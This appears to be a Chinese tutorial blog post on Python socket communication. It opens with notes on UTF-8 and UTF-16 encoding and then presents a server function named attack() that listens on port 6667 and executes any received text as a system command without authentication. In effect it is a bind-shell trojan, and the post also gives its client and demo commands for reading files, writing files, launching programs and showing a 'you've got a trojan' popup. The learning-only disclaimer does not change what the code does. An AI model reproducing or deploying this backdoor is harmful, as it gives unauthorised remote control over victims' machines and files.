Python Socket网络通信基础与命令执行机制解析
本文介绍基于Python Socket的TCP/IP网络通信基础,涵盖UTF-8与UTF-16编码的空间效率对比及适用场景。通过服务端与客户端代码示例,演示如何建立连接并执行远程系统命令,包括文件查看、目录管理及弹窗调用等具体操作,旨在提供技术层面的原理说明。
郑重声明:本文内容仅用于技术交流与学习,严禁任何非法用途。
基础概念
- Socket通信模块是对TCP/IP协议簇的程序化封装,该模块在Windows和Linux操作系统中均被底层支持。
- Unicode字符集存在多种存储格式,主要包括UTF-8、UTF-16和UTF-32,它们通过不同的二进制编码方式来表示字符。
- 当文本以英文为主或英文与其他语言混合时,采用UTF-8编码能显著节省存储空间;反之,若文本以中文为主或中文占比极高,UTF-16编码则更具优势,能有效减少空间占用。
编码策略选择:
- 英文内容较多时,推荐使用UTF-8编码,这是一种应用最广泛的变长字符编码方案。
- 中文内容较多时,推荐使用UTF-16编码。
- 在Windows系统中,中文环境通常采用GBK编码格式。
使用命令 netstat -ant 可以仅显示传输层的TCP和UDP连接状态,该命令常用于检查Socket服务是否正常运行。

服务端(Server)程序实现
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() # 对6667端口进行监听
chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()客户端(Client)程序实现
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()其他系统命令执行方法
注意:执行相关操作前需导入 os 模块—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 该函数可将字符串作为Python代码进行执行
该程序的基本功能演示
1、读取文件内容
Windows系统
type 文件绝对路径
Linux系统
cat 文件路径
2、查看文件目录
Windows系统
dir # 查看当前文件路径目录 dir 文件路径 # 查看指定文件路径目录
Linux系统
ls # 查看当前文件路径目录 ll # 查看当前文件路径目录详细信息 ls 文件路径 # 查看指定文件路径目录 ll 文件路径 # 查看指定文件路径目录详细信息
3、创建文件或目录
Windows系统
echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test
Linux系统
mkdir 路径 # 创建目录 echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test
4、调用Windows应用程序
调用计算器程序
calc.exe

调用其他应用程序
直接输入应用程序的绝对路径
5、调用Windows弹窗
echo msgbox("你中木马了!!") > E:\hi.vbs E:\hi.vbs

关于Python Socket实现远程交互的详细说明至此结束,更多相关技术内容请参阅本站往期文章或继续浏览后续章节,感谢支持。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













